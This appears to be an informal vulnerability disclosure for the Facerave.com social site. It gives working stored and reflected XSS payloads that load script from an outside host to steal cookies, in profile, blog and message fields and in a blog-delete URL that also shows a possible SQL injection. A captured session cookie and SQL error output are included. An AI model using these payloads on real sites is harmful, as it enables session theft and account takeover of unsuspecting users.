Facerave.com
Homepage: http://www.facerave.com Effected files: * Profile input boxes - Self Description box * Posting a blog entry * Sending a message index.php ------------------------------------------------------ XSS vuln with cookie disclosure via posting a comment: No filter evasion needed. for PoC in yourself description box put: <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> Screenshots: http://www.youfucktard.com/xsp/facerave1.jpg http://www.youfucktard.com/xsp/facerave2.jpg ----------------------------------------------------- XSS vuln with cookie disclosure when posting a blog entry: Same as above: <SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT> Screenshots: http://www.youfucktard.com/xsp/facerave3.jpg http://www.youfucktard.com/xsp/facerave4.jpg Our cookie: This is remote text via xss.js located at youfucktard.com lang=en; PHPSESSID=dfb7edf9c3d2350d04cd5ed60585b2f1;voted=YToxMTp7aTowO047aToxO3M6NDoiMzkzNiI7aToyO3M6NDoiNzQ1NCI7aTozO3M6NjoiMTE4OTY1IjtpOjQ7czo2OiIxMTg5NjYiO2k6NTtzOjY6IjExODk2NyI7aTo2O3M6NjoiMTE4OTY4IjtpOjc7czo2OiIxMTg5NjkiO2k6ODtzOjY6IjExODk3MCI7aTo5O3M6NjoiMTE4OTcxIjtpOjEwO3M6NjoiMTE4OTcyIjt9; last_pr=7454 Breaking down the cookie: PHPSESSID= (Our php session Id on the site) voted= Base64 encoded. When we decode it we get: a:11:{i:0;N;i:1;s:4:"3936";i:2;s:4:"7454";i:3;s:6:"118965";i:4;s:6 ---------------------------------------------------- XSS Vuln and possible SQL injection on deleting blog id: http://www.facerave.com/index.php?req=blog&act=del&id=1087";>"><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT> Query error msg: You have an error in your SQL syntax near '\' AND b_user=7454' at line 1 Failed query: DELETE FROM rate_blogs WHERE b_id=1087\' AND b_user=7454 Screenshot: http://www.youfucktard.com/xsp/facerave5.jpg ----------------------------------------------------- Sending a message xss vuln: Same as above, no filter evasion. in your msg title or subject put: <SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT> Screenshot: http://www.youfucktard.com/xsp/facerave6.jpg ------------------------------------------------------
